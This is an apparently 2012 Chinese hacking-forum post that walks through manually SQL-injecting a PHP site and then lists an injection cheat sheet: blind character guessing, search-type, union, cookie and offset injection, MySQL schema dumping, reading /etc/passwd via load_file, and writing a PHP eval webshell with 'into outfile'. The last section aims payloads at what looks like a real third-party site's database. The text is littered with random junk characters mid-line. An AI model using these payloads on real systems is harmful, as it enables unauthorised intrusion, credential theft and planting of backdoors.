标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~2 ?; h/ ]; M. i+ K4 G
让我看看,既然人家开口了,我也不好拒绝,那就看看吧? $ o5 }8 P# N5 I: c& l. ^/ F9 @ K我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。# t% B# L! p2 e7 W9 J
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。) ) ^1 U8 m5 t8 H7 q1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)& T$ T5 a z q& X1 V
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:- V6 i4 X% z6 L% w
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 9 G) |1 \8 j" P+ A& V9 z- q% {2 v1 B/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入 * x5 [ [0 a9 o- C: ] 7 o* I L' @9 q' L7 C" c
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,7 T6 Z7 ~4 E# P( d" `: s. o
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意4 [7 O$ S2 e, a1 v! Y& G
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息$ q. W5 V7 K9 D0 v! U/ T
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。3 K y7 N" l6 V
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,8 d8 w; c. J4 X x0 |( {* i1 y
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。 . r6 Q8 Z. \! @3 p我就用的是第二个思路, * n( C# l+ X. M$ K提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ; n# R0 g( V$ r2 U4 Y6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,! w3 N) U9 K" P0 P8 D
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--. u5 G5 [: c- A
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。 / q" W* c8 p' {* X: r9 p7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????9 l2 r- z1 m. ]7 I7 C H
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd..... 4 j1 J: a2 ~3 e+ M* q3 r# ~提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- 5 F) d2 D( B( |$ F$ l然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell, - F* u7 `* L1 [, ~* y* x调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限...... % O. o- h, ^, }( E- Z# h下面是一些很普遍注入方式资料:* o' v$ `4 } W- O
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='" I1 q: J; W$ r' y' ^2 D
拆半法 " v8 e. ^0 i) A! Y6 Z/ }, Y######################################1 M8 e ^/ h) Q4 I
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。8 m0 T( S. D+ B* B9 O& {" T3 P
and exists (select * from admin) " c) _; d. r0 o8 X) [and exists(select id from admin)5 \ x, O2 m5 F+ z3 D
and exists(select id from admin where id=1); m; X% T' p% p+ g$ R6 ^" q
and exists(select id from admin where id>1) + P. B3 I7 G! o: \
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 1 N3 H6 q o, u6 Q$ D
and exists (select username from admin) 1 V3 d( t8 m/ S9 m' M- w9 \4 Xand exists (select password from admin)# f& N7 J- d" D3 _) f) j& K
and exists (select id from admin where len(username)<10 and id=1)$ n/ Z3 a$ W% w& Q, y5 r, J
and exists (select id from admin where len(username)>5 and id=1) 1 |, r- A$ ^5 C) p7 Eand exists (select id from admin where len(username)=6 and id=1)) P" z* |. P# Y. \2 g6 \
and exists (select id from admin where len(password)<10 and id=1) $ n! s5 c5 L4 E8 r l% }and exists (select id from admin where len(password)>5 and id=1) ) w( o6 G+ g, J2 R; `and exists (select id from admin where len(password)=7 and id=1)1 n: k1 U0 C( f: c1 I
and (select top 1 asc(mid(username,1,1)) from admin)=97 4 g! y( k$ ~, ?3 M$ y9 |返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。4 T: ~3 w8 K6 R( v- W
猜第二位把username,1,1改成username,2,1就可以了。 # t. D" [( d% j0 R! u- M8 N猜密码把username改成password就OK了& ^" y' S( R0 A6 x( ?
################################################## : t* W; c9 p! V& x7 Y) L, ]搜索型注入 ; H5 E, u1 @5 z% d; ]( e# u################################## 0 g q- z) n- j% W4 J# J d%' and 1=1 and '%'='0 E: g9 S0 P# e4 ?7 V
%' and exists (select * from admin) and '%'='* t5 l6 @4 D/ r1 S; T
%' and exists(select id from admin where id=1) and '%'=') G# ^: S, Q! K+ f, ?9 x+ q8 Y3 s
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' ! v3 V4 c& u9 r8 u4 v( A%' and exists (select id from admin where len(password)=7 and id=1) and '%'=' 6 a3 c8 z$ g% D# E0 b1 L%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=' 3 O' [/ Z% W2 Z( C+ u1 t) G这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='3 F8 [% ~+ ~# C% s9 D& u
对于MSSQL数据库,后面可以吧 and '%'='换成-- ! M9 m' D" ?' ~还有一点搜索型注入也可以使用union语句。 8 Q1 I, t+ x; p* e. G. U########################################################/ p/ h* Z7 n& F
联合查询。 1 A9 z! D v& ]- j* U#####################################6 W, b6 t0 K1 D
order by 10 1 @9 U3 s* c/ {4 |' K& \and 1=2 union select 1,2,3,4,5,6,7,8,9,10 * s3 u' }: f1 ]9 `$ r! X% nand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 9 t; U$ y1 u& w3 d+ Q# cand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 $ _1 t5 l. Q9 j/ W( Z5 a很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)& x6 U7 ]+ }4 A' T" n
################################### : S7 u% Z. j* ^4 ~: ycookie注入 7 ?5 k1 E% A5 v############################### W e) L) V5 P. E: J" E8 n0 E" G
http://www.******.com/shownews.asp?id=127 @" F; T" H) i5 m
http://www.******.com/shownews.asp$ W( O! e% L. x, h
alert(="id="+escape("127")); n! R7 u% R' L6 {; @
alert(="id="+escape("127 and 1=1")); , s; q+ c3 x. U* y1 n5 xalert(="id="+escape("127 order by 10"));/ h9 a, h/ R9 m( j3 H# c
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); \5 F* |3 L5 @5 P- ?0 P' d9 ~
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1")); ( M1 r9 p& l+ A4 _) q3 C这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。 6 v) J: j: V* U( I; b) m& f0 b###################################2 u; N# t) Q- n0 E& f
偏移注入; e% |6 f w8 e2 o$ m
###########################################################3 L X8 m- X d Y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 6 o* M. }8 y" Y- zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin/ k- W. ]; ?. y! \8 j0 [
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 5 u- `/ t9 B4 W6 l# K% ^union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)" t8 Q f) f0 s) ?. b$ ^
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) L- ^3 R0 y8 @
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 9 U2 s+ {0 k; d9 munion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on. p8 R% F$ P- [( G/ W4 w+ o
a.id=d.id)* C1 F5 P( J- P) c v% W; B2 o
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id); h' g6 {; I, y7 g) B2 T$ T
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ; ^' N0 d6 |$ m! _* M0 [% t + c3 {( g$ W7 S7 Y. L$ `" H# e$ d) L============================================================================================================ 6 m% J' w8 U, t6 g# A0 d1.判断版本' ~6 Z, S) D8 }0 R9 u; R- t
and ord(mid(version(),1,1))>51+ o% {" E/ v& j/ P( c
返回正常,说明大于4.0版本,支持ounion查询 1 E( n# {( e- X2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解! v1 ]; H3 A# @: a" t0 @6 K" m9 d
and 2=4 union select 1,2,3,4,5,6,7,8,9-- 0 _$ i; J5 T* L% K; x& e3.查看数据库版本及当前用户,5 k- u* Z" {" j5 w! }/ P
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--( I% G2 c" d8 ~. U9 @
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,. G$ R8 z: G- c* O
4.判断有没有写权限 1 P+ V8 U; ?5 E9 Z5 Land (select count(*) from MySQL.user)>0-- ' Q% g6 U1 A+ H) C1 q; z8 _5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1/ `0 r; F+ b/ g9 K
用不了这个命令,就学习土耳其黑客手法,如下 / H2 |: }! m4 v6 C: d# aand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns-- 2 ~& }7 }, U0 T# d5 A8 O3 E6.爆表,爆库 $ K& C5 c" `+ K8 J/ Oand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- 3 ?" r# h+ U( Y5 m! h+ X7.爆列名,爆表 , i$ h4 v, t( D }! I4 X2 ^and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973-- ! M' M: _; P# ]" ? Z9 @8.查询字段数,直接用limit N,1去查询,直接N到报错为止。 : N3 }* e$ ?$ F: Fand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys-- / t6 y( f/ i4 ~/ Y9 y9 t9.爆字段内容0 r7 }3 V5 Q6 V. m( ]
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--; ], m) r) U' Z# z6 D e5 [ http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--作者: xiancda 时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~作者: wuyu 时间: 2012-9-25 18:53
谢谢分享,学习思路啊